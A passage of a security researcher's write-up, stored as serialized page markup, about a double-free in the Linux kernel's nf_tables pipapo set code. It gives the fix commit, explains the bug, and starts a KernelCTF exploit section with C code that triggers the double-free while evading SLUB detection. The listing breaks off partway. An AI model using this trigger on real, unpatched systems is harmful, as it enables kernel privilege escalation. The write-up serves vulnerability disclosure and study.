05\n",{"type":19,"tag":168,"props":51389,"children":51390},{"class":170,"line":755},[51391],{"type":19,"tag":168,"props":51392,"children":51393},{},[51394],{"type":24,"value":7761},{"type":19,"tag":168,"props":51396,"children":51397},{"class":170,"line":1008},[51398],{"type":19,"tag":168,"props":51399,"children":51400},{},[51401],{"type":24,"value":51402},"[16302.231917] Call Trace:\n",{"type":19,"tag":168,"props":51404,"children":51405},{"class":170,"line":1025},[51406],{"type":19,"tag":168,"props":51407,"children":51408},{},[51409],{"type":24,"value":51410},"[16302.231919] \u003CTASK>\n",{"type":19,"tag":168,"props":51412,"children":51413},{"class":170,"line":1042},[51414],{"type":19,"tag":168,"props":51415,"children":51416},{},[51417],{"type":24,"value":51418},"[16302.231921] __nf_tables_abort.cold+0x23/0x28 [nf_tables]\n",{"type":19,"tag":168,"props":51420,"children":51421},{"class":170,"line":1055},[51422],{"type":19,"tag":168,"props":51423,"children":51424},{},[51425],{"type":24,"value":51426},"[16302.231934] nf_tables_abort+0x30/0x50 [nf_tables]\n",{"type":19,"tag":168,"props":51428,"children":51429},{"class":170,"line":1064},[51430],{"type":19,"tag":168,"props":51431,"children":51432},{},[51433],{"type":24,"value":51434},"[16302.231946] nfnetlink_rcv_batch+0x41a/0x840 [nfnetlink]\n",{"type":19,"tag":168,"props":51436,"children":51437},{"class":170,"line":1087},[51438],{"type":19,"tag":168,"props":51439,"children":51440},{},[51441],{"type":24,"value":51442},"[16302.231952] ? __nla_validate_parse+0x48/0x190\n",{"type":19,"tag":168,"props":51444,"children":51445},{"class":170,"line":1096},[51446],{"type":19,"tag":168,"props":51447,"children":51448},{},[51449],{"type":24,"value":51450},"[16302.231959] nfnetlink_rcv+0x110/0x129 [nfnetlink]\n",{"type":19,"tag":168,"props":51452,"children":51453},{"class":170,"line":1105},[51454],{"type":19,"tag":168,"props":51455,"children":51456},{},[51457],{"type":24,"value":51458},"[16302.231963] netlink_unicast+0x211/0x340\n",{"type":19,"tag":168,"props":51460,"children":51461},{"class":170,"line":1174},[51462],{"type":19,"tag":168,"props":51463,"children":51464},{},[51465],{"type":24,"value":51466},"[16302.231969] netlink_sendmsg+0x21e/0x460\n",{"type":19,"tag":168,"props":51468,"children":51469},{"class":170,"line":1182},[51470],{"type":19,"tag":168,"props":51471,"children":51472},{"emptyLinePlaceholder":14},[51473],{"type":24,"value":1093},{"type":19,"tag":168,"props":51475,"children":51476},{"class":170,"line":1212},[51477],{"type":19,"tag":168,"props":51478,"children":51479},{},[51480],{"type":24,"value":51481},"Add nft_set_pipapo_match_destroy() helper function to release the\n",{"type":19,"tag":168,"props":51483,"children":51484},{"class":170,"line":1220},[51485],{"type":19,"tag":168,"props":51486,"children":51487},{},[51488],{"type":24,"value":51489},"elements in the lookup tables.\n",{"type":19,"tag":168,"props":51491,"children":51492},{"class":170,"line":1252},[51493],{"type":19,"tag":168,"props":51494,"children":51495},{"emptyLinePlaceholder":14},[51496],{"type":24,"value":1093},{"type":19,"tag":168,"props":51498,"children":51499},{"class":170,"line":1260},[51500],{"type":19,"tag":168,"props":51501,"children":51502},{},[51503],{"type":24,"value":51504},"Stefano Brivio says: \"We additionally look for elements pointers in the\n",{"type":19,"tag":168,"props":51506,"children":51507},{"class":170,"line":1320},[51508],{"type":19,"tag":168,"props":51509,"children":51510},{},[51511],{"type":24,"value":51512},"cloned matching data if priv->dirty is set, because that means that\n",{"type":19,"tag":168,"props":51514,"children":51515},{"class":170,"line":6486},[51516],{"type":19,"tag":168,"props":51517,"children":51518},{},[51519],{"type":24,"value":51520},"cloned data might point to additional elements we did not commit to the\n",{"type":19,"tag":168,"props":51522,"children":51523},{"class":170,"line":6504},[51524],{"type":19,"tag":168,"props":51525,"children":51526},{},[51527],{"type":24,"value":51528},"working copy yet (such as the abort path case, but perhaps not limited\n",{"type":19,"tag":168,"props":51530,"children":51531},{"class":170,"line":6549},[51532],{"type":19,"tag":168,"props":51533,"children":51534},{},[51535],{"type":24,"value":51536},"to it).\"\n",{"type":19,"tag":168,"props":51538,"children":51539},{"class":170,"line":6655},[51540],{"type":19,"tag":168,"props":51541,"children":51542},{"emptyLinePlaceholder":14},[51543],{"type":24,"value":1093},{"type":19,"tag":168,"props":51545,"children":51546},{"class":170,"line":20965},[51547],{"type":19,"tag":168,"props":51548,"children":51549},{},[51550],{"type":24,"value":51551},"Fixes: 3c4287f62044 (\"nf_tables: Add set type for arbitrary concatenation of ranges\")\n",{"type":19,"tag":168,"props":51553,"children":51554},{"class":170,"line":21000},[51555],{"type":19,"tag":168,"props":51556,"children":51557},{},[51558],{"type":24,"value":51559},"Reviewed-by: Stefano Brivio \u003Csbrivio@redhat.com>\n",{"type":19,"tag":168,"props":51561,"children":51562},{"class":170,"line":21008},[51563],{"type":19,"tag":168,"props":51564,"children":51565},{},[51566],{"type":24,"value":51567},"Signed-off-by: Pablo Neira Ayuso \u003Cpablo@netfilter.org>\n",{"type":19,"tag":20,"props":51569,"children":51570},{},[51571,51573,51578,51580,51585,51587,51592,51594,51599],{"type":24,"value":51572},"As we previously discussed, committing changes to a pipapo ",{"type":19,"tag":27,"props":51574,"children":51576},{"className":51575},[],[51577],{"type":24,"value":48502},{"type":24,"value":51579}," is implemented by creating a clone of the match object, to which changes are made during the control plane. Later, if we enter the commit path, the changes are committed in the ",{"type":19,"tag":27,"props":51581,"children":51583},{"className":51582},[],[51584],{"type":24,"value":49828},{"type":24,"value":51586}," method by simply replacing the ",{"type":19,"tag":27,"props":51588,"children":51590},{"className":51589},[],[51591],{"type":24,"value":48502},{"type":24,"value":51593},"s match object with its updated clone. So checking the ",{"type":19,"tag":27,"props":51595,"children":51597},{"className":51596},[],[51598],{"type":24,"value":48456},{"type":24,"value":51600}," flag and then calling free again ensures we also free uncommitted changes.",{"type":19,"tag":20,"props":51602,"children":51603},{},[51604,51606,51611],{"type":24,"value":51605},"This doesn't make sense in the commit path but only in the abort path. Evidently, when aborting the transaction that creates the ",{"type":19,"tag":27,"props":51607,"children":51609},{"className":51608},[],[51610],{"type":24,"value":48502},{"type":24,"value":51612},", there will be no committed changes, and there will only be the elements inside the clone, which will end up never being committed. So, to make sure we free these uncommitted elements, it's crucial to free what's in the clone.",{"type":19,"tag":20,"props":51614,"children":51615},{},[51616,51618,51624,51626,51631,51633,51638],{"type":24,"value":51617},"When this code was introduced, it was only reachable from the abort path because it was the only path where ",{"type":19,"tag":27,"props":51619,"children":51621},{"className":51620},[],[51622],{"type":24,"value":51623},"set->ops->destroy()",{"type":24,"value":51625}," could be called without clearing the ",{"type":19,"tag":27,"props":51627,"children":51629},{"className":51628},[],[51630],{"type":24,"value":48456},{"type":24,"value":51632}," flag, which was fine considering you didn't have duplicated views of the ",{"type":19,"tag":27,"props":51634,"children":51636},{"className":51635},[],[51637],{"type":24,"value":48494},{"type":24,"value":51639},"s, so they would all be in the clone set.",{"type":19,"tag":20,"props":51641,"children":51642},{},[51643,51645,51650],{"type":24,"value":51644},"But when the ",{"type":19,"tag":27,"props":51646,"children":51648},{"className":51647},[],[51649],{"type":24,"value":51212},{"type":24,"value":51651}," flag was introduced, some assumptions about the commit path were changed. It created a new way of reaching this code while having already committed changes in the set. This means any already committed changes will have a view in the \"normal\" match object and one in the clone.",{"type":19,"tag":20,"props":51653,"children":51654},{},[51655],{"type":24,"value":51656},"The vulnerability was fixed by only deleting elements from the clone because the clone should have all views of committed and uncommitted changes, effectively eliminating the double-free vulnerability.",{"type":19,"tag":36,"props":51658,"children":51660},{"id":51659},"kernelctf-exploit",[51661],{"type":24,"value":51662},"KernelCTF exploit",{"type":19,"tag":20,"props":51664,"children":51665},{},[51666,51668,51674,51676,51683],{"type":24,"value":51667},"Now that we know the full story of the bug, let's look into how I exploited it in the KernelCTF LTS instance before getting into the universal exploit. A great deal of the exploit is based on the ",{"type":19,"tag":27,"props":51669,"children":51671},{"className":51670},[],[51672],{"type":24,"value":51673},"nft_object + udata",{"type":24,"value":51675}," technique shared by lonial con in a ",{"type":19,"tag":269,"props":51677,"children":51680},{"href":51678,"rel":51679},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-4004_lts_cos_mitigation/docs/exploit.md",[273],[51681],{"type":24,"value":51682},"previous kernelCTF exploit",{"type":24,"value":948},{"type":19,"tag":7050,"props":51685,"children":51687},{"id":51686},"trigger-uafavoid-double-free-detection",[51688],{"type":24,"value":51689},"Trigger UAF/avoid double-free detection",{"type":19,"tag":20,"props":51691,"children":51692},{},[51693,51695,51701,51703,51709],{"type":24,"value":51694},"The SLUB allocator has a naive double-free detection mechanism to spot straightforward sequences, such as the same object being added to the free-list twice in a row without any other objects being added in between.\nAs we have seen, ",{"type":19,"tag":27,"props":51696,"children":51698},{"className":51697},[],[51699],{"type":24,"value":51700},"nft_set_pipapo_match_destroy",{"type":24,"value":51702}," iterates over the ",{"type":19,"tag":27,"props":51704,"children":51706},{"className":51705},[],[51707],{"type":24,"value":51708},"setelems",{"type":24,"value":51710}," in the set and frees each of them, so it should be relatively simple to avoid detection by having more than one element in the set, in which case the following will happen:",{"type":19,"tag":2869,"props":51712,"children":51713},{},[51714,51719,51724,51729],{"type":19,"tag":47,"props":51715,"children":51716},{},[51717],{"type":24,"value":51718},"Element A gets freed",{"type":19,"tag":47,"props":51720,"children":51721},{},[51722],{"type":24,"value":51723},"Element B gets free",{"type":19,"tag":47,"props":51725,"children":51726},{},[51727],{"type":24,"value":51728},"Element A gets freed again (double-free)",{"type":19,"tag":47,"props":51730,"children":51731},{},[51732],{"type":24,"value":51733},"Element B gets freed again (double-free)",{"type":19,"tag":158,"props":51735,"children":51737},{"className":26580,"code":51736,"language":26582,"meta":7,"style":7},"[...]\nstatic void trigger_uaf(struct mnl_socket *nl, size_t size, int *msgqids)\n{\n[...]\n // TRANSACTION 2\n[...]\n\n // create pipapo set\n uint8_t desc[2] = {16, 16};\n set = create_set(\n batch, seq++, exploit_table_name, \"pwn_set\", 0x1337,\n NFT_SET_INTERVAL | NFT_SET_OBJECT | NFT_SET_CONCAT, KEY_LEN, 2, &desc, NULL, 0, NFT_OBJECT_CT_EXPECT);\n\n // commit 2 elems to set (elems A and B that will be double-freed)\n for (int i = 0; i \u003C 2; i++)\n {\n elem[i] = nftnl_set_elem_alloc();\n memset(key, 0x41 + i, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_set(elem[i], NFTNL_SET_ELEM_USERDATA, &udata_buf, size);\n nftnl_set_elem_add(set, elem[i]);\n }\n[...]\n\n // TRANSACTION 3\n[...]\n set = nftnl_set_alloc();\n nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);\n nftnl_set_set_str(set, NFTNL_SET_TABLE, exploit_table_name);\n nftnl_set_set_str(set, NFTNL_SET_NAME, \"pwn_set\");\n\n // make priv->dirty true\n memset(key, 0xff, KEY_LEN);\n elem[3] = nftnl_set_elem_alloc();\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_OBJREF, \"pwnobj\", 7);\n nftnl_set_elem_set(elem[3], NFTNL_SET_ELEM_KEY, &key, KEY_LEN);\n nftnl_set_elem_add(set, elem[3]);\n[...]\n\n // double-free commited elems\n[...]\n nftnl_set_free(set);\n}\n[...]\n",[51738],{"type":19,"tag":27,"props":51739,"children":51740},{"__ignoreMap":7},[51741,51748,51809,51816,51823,51831,51838,51845,51853,51877,51898,51932,51993,52000,52008,52060,52067,52093,52120,52159,52188,52217,52239,52246,52253,52260,52268,52275,52283,52296,52309,52329,52336,52344,52366,52398,52443,52479,52507,52514,52521,52529,52536,52552,52559],{"type":19,"tag":168,"props":51742,"children":51743},{"class":170,"line":171},[51744],{"type":19,"tag":168,"props":51745,"children":51746},{"style":212},[51747],{"type":24,"value":7761},{"type":19,"tag":168,"props":51749,"children":51750},{"class":170,"line":198},[51751,51756,51760,51765,51769,51774,51778,51783,51788,51792,51796,51800,51805],{"type":19,"tag":168,"props":51752,"children":51753},{"style":212},[51754],{"type":24,"value":51755},"static void trigger_uaf(",{"type":19,"tag":168,"props":51757,"children":51758},{"style":382},[51759],{"type":24,"value":6842},{"type":19,"tag":168,"props":51761,"children":51762},{"style":825},[51763],{"type":24,"value":51764}," mnl_socket",{"type":19,"tag":168,"props":51766,"children":51767},{"style":382},[51768],{"type":24,"value":7259},{"type":19,"tag":168,"props":51770,"children":51771},{"style":393},[51772],{"type":24,"value":51773},"nl",{"type":19,"tag":168,"props":51775,"children":51776},{"style":212},[51777],{"type":24,"value":471},{"type":19,"tag":168,"props":51779,"children":51780},{"style":382},[51781],{"type":24,"value":51782},"size_t",{"type":19,"tag":168,"props":51784,"children":51785},{"style":393},[51786],{"type":24,"value":51787}," size",{"type":19,"tag":168,"props":51789,"children":51790},{"style":212},[51791],{"type":24,"value":471},{"type":19,"tag":168,"props":51793,"children":51794},{"style":382},[51795],{"type":24,"value":16500},{"type":19,"tag":168,"props":51797,"children":51798},{"style":382},[51799],{"type":24,"value":7259},{"type":19,"tag":168,"props":51801,"children":51802},{"style":393},[51803],{"type":24,"value":51804},"msgqids",{"type":19,"tag":168,"props":51806,"children":51807},{"style":212},[51808],{"type":24,"value":557},{"type":19,"tag":168,"props":51810,"children":51811},{"class":170,"line":415},[51812],{"type":19,"tag":168,"props":51813,"children":51814},{"style":212},[51815],{"type":24,"value":8324},{"type":19,"tag":168,"props":51817,"children":51818},{"class":170,"line":450},[51819],{"type":19,"tag":168,"props":51820,"children":51821},{"style":212},[51822],{"type":24,"value":7761},{"type":19,"tag":168,"props":51824,"children":51825},{"class":170,"line":560},[51826],{"type":19,"tag":168,"props":51827,"children":51828},{"style":212},[51829],{"type":24,"value":51830}," // TRANSACTION 2\n",{"type":19,"tag":168,"props":51832,"children":51833},{"class":170,"line":666},[51834],{"type":19,"tag":168,"props":51835,"children":51836},{"style":212},[51837],{"type":24,"value":7761},{"type":19,"tag":168,"props":51839,"children":51840},{"class":170,"line":694},[51841],{"type":19,"tag":168,"props":51842,"children":51843},{"emptyLinePlaceholder":14},[51844],{"type":24,"value":1093},{"type":19,"tag":168,"props":51846,"children":51847},{"class":170,"line":707},[51848],{"type":19,"tag":168,"props":51849,"children":51850},{"style":212},[51851],{"type":24,"value":51852}," // create pipapo set\n",{"type":19,"tag":168,"props":51854,"children":51855},{"class":170,"line":725},[51856,51861,51865,51869,51873],{"type":19,"tag":168,"props":51857,"children":51858},{"style":212},[51859],{"type":24,"value":51860}," uint8_t desc[2] = {",{"type":19,"tag":168,"props":51862,"children":51863},{"style":192},[51864],{"type":24,"value":38323},{"type":19,"tag":168,"props":51866,"children":51867},{"style":212},[51868],{"type":24,"value":471},{"type":19,"tag":168,"props":51870,"children":51871},{"style":192},[51872],{"type":24,"value":38323},{"type":19,"tag":168,"props":51874,"children":51875},{"style":212},[51876],{"type":24,"value":14026},{"type":19,"tag":168,"props":51878,"children":51879},{"class":170,"line":746},[51880,51885,51889,51894],{"type":19,"tag":168,"props":51881,"children":51882},{"style":212},[51883],{"type":24,"value":51884}," set ",{"type":19,"tag":168,"props":51886,"children":51887},{"style":399},[51888],{"type":24,"value":486},{"type":19,"tag":168,"props":51890,"children":51891},{"style":175},[51892],{"type":24,"value":51893}," create_set",{"type":19,"tag":168,"props":51895,"children":51896},{"style":212},[51897],{"type":24,"value":870},{"type":19,"tag":168,"props":51899,"children":51900},{"class":170,"line":755},[51901,51906,51910,51915,51920,51924,51928],{"type":19,"tag":168,"props":51902,"children":51903},{"style":212},[51904],{"type":24,"value":51905}," batch, seq",{"type":19,"tag":168,"props":51907,"children":51908},{"style":399},[51909],{"type":24,"value":48752},{"type":19,"tag":168,"props":51911,"children":51912},{"style":212},[51913],{"type":24,"value":51914},", exploit_table_name, ",{"type":19,"tag":168,"props":51916,"children":51917},{"style":181},[51918],{"type":24,"value":51919},"\"pwn_set\"",{"type":19,"tag":168,"props":51921,"children":51922},{"style":212},[51923],{"type":24,"value":471},{"type":19,"tag":168,"props":51925,"children":51926},{"style":192},[51927],{"type":24,"value":40980},{"type":19,"tag":168,"props":51929,"children":51930},{"style":212},[51931],{"type":24,"value":915},{"type":19,"tag":168,"props":51933,"children":51934},{"class":170,"line":1008},[51935,51940,51944,51949,51953,51958,51962,51966,51970,51975,51980,51984,51988],{"type":19,"tag":168,"props":51936,"children":51937},{"style":212},[51938],{"type":24,"value":51939}," NFT_SET_INTERVAL ",{"type":19,"tag":168,"props":51941,"children":51942},{"style":399},[51943],{"type":24,"value":7859},{"type":19,"tag":168,"props":51945,"children":51946},{"style":212},[51947],{"type":24,"value":51948}," NFT_SET_OBJECT ",{"type":19,"tag":168,"props":51950,"children":51951},{"style":399},[51952],{"type":24,"value":7859},{"type":19,"tag":168,"props":51954,"children":51955},{"style":212},[51956],{"type":24,"value":51957}," NFT_SET_CONCAT, KEY_LEN, ",{"type":19,"tag":168,"props":51959,"children":51960},{"style":192},[51961],{"type":24,"value":519},{"type":19,"tag":168,"props":51963,"children":51964},{"style":212},[51965],{"type":24,"value":471},{"type":19,"tag":168,"props":51967,"children":51968},{"style":399},[51969],{"type":24,"value":505},{"type":19,"tag":168,"props":51971,"children":51972},{"style":212},[51973],{"type":24,"value":51974},"desc, ",{"type":19,"tag":168,"props":51976,"children":51977},{"style":382},[51978],{"type":24,"value":51979},"NULL",{"type":19,"tag":168,"props":51981,"children":51982},{"style":212},[51983],{"type":24,"value":471},{"type":19,"tag":168,"props":51985,"children":51986},{"style":192},[51987],{"type":24,"value":1452},{"type":19,"tag":168,"props":51989,"children":51990},{"style":212},[51991],{"type":24,"value":51992},", NFT_OBJECT_CT_EXPECT);\n",{"type":19,"tag":168,"props":51994,"children":51995},{"class":170,"line":1025},[51996],{"type":19,"tag":168,"props":51997,"children":51998},{"emptyLinePlaceholder":14},[51999],{"type":24,"value":1093},{"type":19,"tag":168,"props":52001,"children":52002},{"class":170,"line":1042},[52003],{"type":19,"tag":168,"props":52004,"children":52005},{"style":373},[52006],{"type":24,"value":52007}," // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":19,"tag":168,"props":52009,"children":52010},{"class":170,"line":1055},[52011,52015,52019,52023,52028,52032,52036,52040,52044,52048,52052,52056],{"type":19,"tag":168,"props":52012,"children":52013},{"style":419},[52014],{"type":24,"value":422},{"type":19,"tag":168,"props":52016,"children":52017},{"style":212},[52018],{"type":24,"value":461},{"type":19,"tag":168,"props":52020,"children":52021},{"style":382},[52022],{"type":24,"value":16500},{"type":19,"tag":168,"props":52024,"children":52025},{"style":212},[52026],{"type":24,"value":52027}," i ",{"type":19,"tag":168,"props":52029,"children":52030},{"style":399},[52031],{"type":24,"value":486},{"type":19,"tag":168,"props":52033,"children":52034},{"style":192},[52035],{"type":24,"value":437},{"type":19,"tag":168,"props":52037,"children":52038},{"style":212},[52039],{"type":24,"value":48716},{"type":19,"tag":168,"props":52041,"children":52042},{"style":399},[52043],{"type":24,"value":3240},{"type":19,"tag":168,"props":52045,"children":52046},{"style":192},[52047],{"type":24,"value":5371},{"type":19,"tag":168,"props":52049,"children":52050},{"style":212},[52051],{"type":24,"value":48747},{"type":19,"tag":168,"props":52053,"children":52054},{"style":399},[52055],{"type":24,"value":48752},{"type":19,"tag":168,"props":52057,"children":52058},{"style":212},[52059],{"type":24,"value":557},{"type":19,"tag":168,"props":52061,"children":52062},{"class":170,"line":1064},[52063],{"type":19,"tag":168,"props":52064,"children":52065},{"style":212},[52066],{"type":24,"value":26657},{"type":19,"tag":168,"props":52068,"children":52069},{"class":170,"line":1087},[52070,52075,52080,52084,52089],{"type":19,"tag":168,"props":52071,"children":52072},{"style":393},[52073],{"type":24,"value":52074}," elem",{"type":19,"tag":168,"props":52076,"children":52077},{"style":212},[52078],{"type":24,"value":52079},"[i] ",{"type":19,"tag":168,"props":52081,"children":52082},{"style":399},[52083],{"type":24,"value":486},{"type":19,"tag":168,"props":52085,"children":52086},{"style":175},[52087],{"type":24,"value":52088}," nftnl_set_elem_alloc",{"type":19,"tag":168,"props":52090,"children":52091},{"style":212},[52092],{"type":24,"value":1084},{"type":19,"tag":168,"props":52094,"children":52095},{"class":170,"line":1096},[52096,52101,52106,52111,52115],{"type":19,"tag":168,"props":52097,"children":52098},{"style":175},[52099],{"type":24,"value":52100}," memset",{"type":19,"tag":168,"props":52102,"children":52103},{"style":212},[52104],{"type":24,"value":52105},"(key, ",{"type":19,"tag":168,"props":52107,"children":52108},{"style":192},[52109],{"type":24,"value":52110},"0x41",{"type":19,"tag":168,"props":52112,"children":52113},{"style":399},[52114],{"type":24,"value":6343},{"type":19,"tag":168,"props":52116,"children":52117},{"style":212},[52118],{"type":24,"value":52119}," i, KEY_LEN);\n",{"type":19,"tag":168,"props":52121,"children":52122},{"class":170,"line":1105},[52123,52128,52132,52136,52141,52146,52150,52155],{"type":19,"tag":168,"props":52124,"children":52125},{"style":175},[52126],{"type":24,"value":52127}," nftnl_set_elem_set",{"type":19,"tag":168,"props":52129,"children":52130},{"style":212},[52131],{"type":24,"value":500},{"type":19,"tag":168,"props":52133,"children":52134},{"style":393},[52135],{"type":24,"value":49547},{"type":19,"tag":168,"props":52137,"children":52138},{"style":212},[52139],{"type":24,"value":52140},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":19,"tag":168,"props":52142,"children":52143},{"style":181},[52144],{"type":24,"value":52145},"\"pwnobj\"",{"type":19,"tag":168,"props":52147,"children":52148},{"style":212},[52149],{"type":24,"value":471},{"type":19,"tag":168,"props":52151,"children":52152},{"style":192},[52153],{"type":24,"value":52154},"7",{"type":19,"tag":168,"props":52156,"children":52157},{"style":212},[52158],{"type":24,"value":1249},{"type":19,"tag":168,"props":52160,"children":52161},{"class":170,"line":1174},[52162,52166,52170,52174,52179,52183],{"type":19,"tag":168,"props":52163,"children":52164},{"style":175},[52165],{"type":24,"value":52127},{"type":19,"tag":168,"props":52167,"children":52168},{"style":212},[52169],{"type":24,"value":500},{"type":19,"tag":168,"props":52171,"children":52172},{"style":393},[52173],{"type":24,"value":49547},{"type":19,"tag":168,"props":52175,"children":52176},{"style":212},[52177],{"type":24,"value":52178},"[i], NFTNL_SET_ELEM_KEY, ",{"type":19,"tag":168,"props":52180,"children":52181},{"style":399},[52182],{"type":24,"value":505},{"type":19,"tag":168,"props":52184,"children":52185},{"style":212},[52186],{"type":24,"value":52187},"key, KEY_LEN);\n",{"type":19,"tag":168,"props":52189,"children":52190},{"class":170,"line":1182},[52191,52195,52199,52203,52208,52212],{"type":19,"tag":168,"props":52192,"children":52193},{"style":175},[52194],{"type":24,"value":52127},{"type":19,"tag":168,"props":52196,"children":52197},{"style":212},[52198],{"type":24,"value":500},{"type":19,"tag":168,"props":52200,"children":52201},{"style":393},[52202],{"type":24,"value":49547},{"type":19,"tag":168,"props":52204,"children":52205},{"style":212},[52206],{"type":24,"value":52207},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":19,"tag":168,"props":52209,"children":52210},{"style":399},[52211],{"type":24,"value":505},{"type":19,"tag":168,"props":52213,"children":52214},{"style":212},[52215],{"type":24,"value":52216},"udata_buf, size);\n",{"type":19,"tag":168,"props":52218,"children":52219},{"class":170,"line":1212},[52220,52225,52230,52234],{"type":19,"tag":168,"props":52221,"children":52222},{"style":175},[52223],{"type":24,"value":52224}," nftnl_set_elem_add",{"type":19,"tag":168,"props":52226,"children":52227},{"style":212},[52228],{"type":24,"value":52229},"(set, ",{"type":19,"tag":168,"props":52231,"children":52232},{"style":393},[52233],{"type":24,"value":49547},{"type":19,"tag":168,"props":52235,"children":52236},{"style":212},[52237],{"type":24,"value":52238},"[i]);\n",{"type":19,"tag":168,"props":52240,"children":52241},{"class":170,"line":1220},[52242],{"type":19,"tag":168,"props":52243,"children":52244},{"style":212},[52245],{"type":24,"value":761},{"type":19,"tag":168,"props":52247,"children":52248},{"class":170,"line":1252},[52249],{"type":19,"tag":168,"props":52250,"children":52251},{"style":212},[52252],{"type":24,"value":7761},{"type":19,"tag":168,"props":52254,"children":52255},{"class":170,"line":1260},[52256],{"type":19,"tag":168,"props":52257,"children":52258},{"emptyLinePlaceholder":14},[52259],{"type":24,"value":1093},{"type":19,"tag":168,"props":52261,"children":52262},{"class":170,"line":1320},[52263],{"type":19,"tag":168,"props":52264,"children":52265},{"style":212},[52266],{"type":24,"value":52267}," // TRANSACTION 3\n",{"type":19,"tag":168,"props":52269,"children":52270},{"class":170,"line":6486},[52271],{"type":19,"tag":168,"props":52272,"children":52273},{"style":212},[52274],{"type":24,"value":7761},{"type":19,"tag":168,"props":52276,"children":52277},{"class":170,"line":6504},[52278],{"type":19,"tag":168,"props":52279,"children":52280},{"style":212},[52281],{"type":24,"value":52282}," set = nftnl_set_alloc();\n",{"type":19,"tag":168,"props":52284,"children":52285},{"class":170,"line":6549},[52286,52291],{"type":19,"tag":168,"props":52287,"children":52288},{"style":175},[52289],{"type":24,"value":52290}," nftnl_set_set_u32",{"type":19,"tag":168,"props":52292,"children":52293},{"style":212},[52294],{"type":24,"value":52295},"(set, NFTNL_SET_FAMILY, family);\n",{"type":19,"tag":168,"props":52297,"children":52298},{"class":170,"line":6655},[52299,52304],{"type":19,"tag":168,"props":52300,"children":52301},{"style":175},[52302],{"type":24,"value":52303}," nftnl_set_set_str",{"type":19,"tag":168,"props":52305,"children":52306},{"style":212},[52307],{"type":24,"value":52308},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":19,"tag":168,"props":52310,"children":52311},{"class":170,"line":20965},[52312,52316,52321,52325],{"type":19,"tag":168,"props":52313,"children":52314},{"style":175},[52315],{"type":24,"value":52303},{"type":19,"tag":168,"props":52317,"children":52318},{"style":212},[52319],{"type":24,"value":52320},"(set, NFTNL_SET_NAME, ",{"type":19,"tag":168,"props":52322,"children":52323},{"style":181},[52324],{"type":24,"value":51919},{"type":19,"tag":168,"props":52326,"children":52327},{"style":212},[52328],{"type":24,"value":1249},{"type":19,"tag":168,"props":52330,"children":52331},{"class":170,"line":21000},[52332],{"type":19,"tag":168,"props":52333,"children":52334},{"emptyLinePlaceholder":14},[52335],{"type":24,"value":1093},{"type":19,"tag":168,"props":52337,"children":52338},{"class":170,"line":21008},[52339],{"type":19,"tag":168,"props":52340,"children":52341},{"style":373},[52342],{"type":24,"value":52343}," // make priv->dirty true\n",{"type":19,"tag":168,"props":52345,"children":52346},{"class":170,"line":21016},[52347,52352,52356,52361],{"type":19,"tag":168,"props":52348,"children":52349},{"style":175},[52350],{"type":24,"value":52351}," memset",{"type":19,"tag":168,"props":52353,"children":52354},{"style":212},[52355],{"type":24,"value":52105},{"type":19,"tag":168,"props":52357,"children":52358},{"style":192},[52359],{"type":24,"value":52360},"0xff",{"type":19,"tag":168,"props":52362,"children":52363},{"style":212},[52364],{"type":24,"value":52365},", KEY_LEN);\n",{"type":19,"tag":168,"props":52367,"children":52368},{"class":170,"line":21025},[52369,52374,52378,52382,52386,52390,52394],{"type":19,"tag":168,"props":52370,"children":52371},{"style":393},[52372],{"type":24,"value":52373}," elem",{"type":19,"tag":168,"props":52375,"children":52376},{"style":212},[52377],{"type":24,"value":1152},{"type":19,"tag":168,"props":52379,"children":52380},{"style":192},[52381],{"type":24,"value":14745},{"type":19,"tag":168,"props":52383,"children":52384},{"style":212},[52385],{"type":24,"value":6099},{"type":19,"tag":168,"props":52387,"children":52388},{"style":399},[52389],{"type":24,"value":486},{"type":19,"tag":168,"props":52391,"children":52392},{"style":175},[52393],{"type":24,"value":52088},{"type":19,"tag":168,"props":52395,"children":52396},{"style":212},[52397],{"type":24,"value":1084},{"type":19,"tag":168,"props":52399,"children":52400},{"class":170,"line":21067},[52401,52406,52410,52414,52418,52422,52427,52431,52435,52439],{"type":19,"tag":168,"props":52402,"children":52403},{"style":175},[52404],{"type":24,"value":52405}," nftnl_set_elem_set",{"type":19,"tag":168,"props":52407,"children":52408},{"style":212},[52409],{"type":24,"value":500},{"type":19,"tag":168,"props":52411,"children":52412},{"style":393},[52413],{"type":24,"value":49547},{"type":19,"tag":168,"props":52415,"children":52416},{"style":212},[52417],{"type":24,"value":1152},{"type":19,"tag":168,"props":52419,"children":52420},{"style":192},[52421],{"type":24,"value":14745},{"type":19,"tag":168,"props":52423,"children":52424},{"style":212},[52425],{"type":24,"value":52426},"], NFTNL_SET_ELEM_OBJREF, ",{"type":19,"tag":168,"props":52428,"children":52429},{"style":181},[52430],{"type":24,"value":52145},{"type":19,"tag":168,"props":52432,"children":52433},{"style":212},[52434],{"type":24,"value":471},{"type":19,"tag":168,"props":52436,"children":52437},{"style":192},[52438],{"type":24,"value":52154},{"type":19,"tag":168,"props":52440,"children":52441},{"style":212},[52442],{"type":24,"value":1249},{"type":19,"tag":168,"props":52444,"children":52445},{"class":170,"line":21100},[52446,52450,52454,52458,52462,52466,52471,52475],{"type":19,"tag":168,"props":52447,"children":52448},{"style":175},[52449],{"type":24,"value":52405},{"type":19,"tag":168,"props":52451,"children":52452},{"style":212},[52453],{"type":24,"value":500},{"type":19,"tag":168,"props":52455,"children":52456},{"style":393},[52457],{"type":24,"value":49547},{"type":19,"tag":168,"props":52459,"children":52460},{"style":212},[52461],{"type":24,"value":1152},{"type":19,"tag":168,"props":52463,"children":52464},{"style":192},[52465],{"type":24,"value":14745},{"type":19,"tag":168,"props":52467,"children":52468},{"style":212},[52469],{"type":24,"value":52470},"], NFTNL_SET_ELEM_KEY, 